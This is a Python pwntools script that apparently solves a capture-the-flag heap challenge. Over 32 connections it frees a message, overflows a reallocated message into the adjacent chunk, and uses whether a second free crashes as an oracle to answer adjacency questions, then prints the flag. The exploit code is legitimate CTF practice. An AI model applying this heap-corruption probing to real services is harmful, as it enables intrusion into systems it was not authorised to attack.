import pwn

pwn.context.log_level = 'error'
host = 'heaping-blind.rumble.host'

def main(): 
    pm = pwn.remote(host, 13360, fam='ipv4')
    
    for i in range(32):
        port = int(pm.recvline(timeout=1).split(b' ')[-1].replace(b'\n', b''))
        ps = pwn.remote(host, port, fam='ipv4')

        # free first
        ps.sendlineafter(b'>', b'3')
        ps.sendlineafter(b'index of the message:', b'0')

        # alloc into first and possibly corrupt second
        ps.sendlineafter(b'>', b'1')
        ps.sendlineafter(b'short message:', 0x49 * b'A')

        # free second
        try:
            ps.sendlineafter(b'>', b'3')
            ps.sendlineafter(b'index of the message:', b'1')
            # free worked so spacer chunk is there
            ps.sendlineafter(b'>', b'4')
            ps.sendlineafter(b'adjacent?', b'0')
        except EOFError:
            # free didn't work so spacer chunk isn't there
            ps = pwn.remote(host, port, fam='ipv4')
            ps.sendlineafter(b'>', b'4')
            ps.sendlineafter(b'adjacent?', b'1')
             
    # print flag
    print(ps.recvall(timeout=1).decode())


if __name__ == '__main__':
    main()